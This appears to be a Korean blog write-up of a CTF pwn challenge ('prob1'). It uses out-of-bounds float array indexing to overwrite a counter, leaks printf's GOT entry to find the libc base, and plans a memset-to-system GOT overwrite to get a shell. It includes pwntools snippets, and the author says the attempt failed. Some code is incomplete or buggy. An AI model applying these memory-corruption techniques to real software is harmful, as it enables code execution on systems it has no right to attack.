[PWN] prob1

 

PIE가 없고, Partial RELRO이다. got overwrite를 이용해야 할 것 같은 느낌이 든다.

ida로 까본 메인 함수이다. read와 add 옵션 중 하나만 선택할 수 있다. 특이한 점은 add 시에는 %f로 입력을 하고, read 시에는 %.10e로 출력해준다. 소수로 입력을 하고, 소수로 입력을 받아야 한다. 부동소수점에 대한 개념을 알아야 할 것 같다!

 

추가로, 입력하는 arr과 for문의 반복횟수를 결정하는 cnt가 모두 전역 변수로써 bss에 저장되어 있다.

따라서 처음에 arr의 인덱스에 0x10을 입력하여 (0x10 * 4 = 0x40) cnt에 적힌 값인 1을 더 늘려야 할 것 같다! (함수가 바로 종료되면 안되기 때문이다.)

 

p.sendlineafter(b'>> ', b'a')
p.recvuntil(b" idx >> ")
pause()
p.sendline(str(16).encode())
p.recvuntil(b" value >> ")
pause()
p.sendline(str(7.00649232162e-45).encode())

 

해당 부분을 구현한 것이다. 16*4=64(=0x64)이므로 cnt를 덮을 수 있고, 7.00649232162e-45는 16진수로 5를 의미하기에 원래 값인 1에 5를 더해서 위 사진의 cnt가 6이 되어 있는 것을 확인할 수 있다.

 

16진수를 부동소수점으로 바꾸는 것은 아래의 사이트를 사용했다.

 

그 다음, printf의 got가 arr 위에 존재하므로 index에 음수를 넣어서 해당 부분을 읽어온다.

그런데 읽어올 수 있는 값은 4byte 뿐이다. 그렇지만 상관 없다! 어차피 libc_base에서 함수들의 offset이 100000000이상 차이나지 않기 때문에, 하위 4byte만 알아도 libc_base의 하위 4byte를 알 수 있고, 이를 통해 system 함수와 /bin/sh의 주소를 알아낼 수 있다.

 

p.sendlineafter(b'>> ', b'r')
p.recvuntil(b" idx >> ")
pause()
p.sendline(str(-32).encode())

leak=p.recvline()[:-1]
printf_hex=float_bytes_to_hex(leak)[2:]

printf_int=int(printf_hex,16)
log.info('prinf is ' + hex(printf_int))
test=hex_to_float(printf_hex)
log.info(b'return back is '+ str(test).encode())
libc_base=printf_int-printf_offset
log.info('libc base - '+hex(libc_base))

 

해당 부분을 구현한 코드이다. 출력을 부동소수점 형태로 해주기 때문에, 이를 16진수 형태로 바꿔주는 함수인 float_bytes_to_hex를 구현했다.

def float_bytes_to_hex(a):
    f=float(a)
    bits = struct.unpack('!I', struct.pack('!f', f))[0]

 

반대로 16진수 수를 부동소수점 형태로 바꿔주는 hex_to_float 함수도 구현하였다.

def hex_to_float(hex_str):
    packed_hex = struct.pack('I', int(hex_str, 16))
    float_val = struct.unpack('f', packed_hex)[0]
    return float_val

 

 

실행하면 다음과 같이 libc_base의 하위 4byte를 구할 수 있다.

여기까지 구해서, 이제 특정 함수를 system 함수로 덮을 수 있다! 그런데 여기서 방법이 생각이 안난다… 특정 함수를 system 함수로 덮는다고 하더라도 인자로 /bin/sh를 전달할 방법이 떠오르지 않는다.. 코드 영역을 덮을 수도 없고, stack을 건드릴 수도 없고, 오래 생각해봐도 모르겠다 ㅠ

 

/bin/sh를 전달하는 방법까지는 알아냈다! memset에서는 첫번째 인자로 &s를 받고 있는데, 우리는 s에 2byte의 문자를 입력할 수 있다. 따라서 s에 sh를 입력하고, memset을 system으로 잘 바꾼다면 쉘을 따낼 수 있다!

 

근데 문제가 또 발생했다.

강사님께 도움을 구해서 정수와 소수를 변환하는 코드까지 얻어냈다.

f2u=lambda x:u32(struct.pack('<f',x))
u2f=lambda x:struct.unpack('<f',p32(x))[0]

 

이렇게 해서 system의 offset과 memset의 offset을 구해서 이를 memset의 got에 더해주는 방식으로 할려 그랬는데,,

또 실 패 했 다 ! 아마도 음수여서 바꿔주지 못하는 것 같다….

그냥 포기하겠습니다..

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤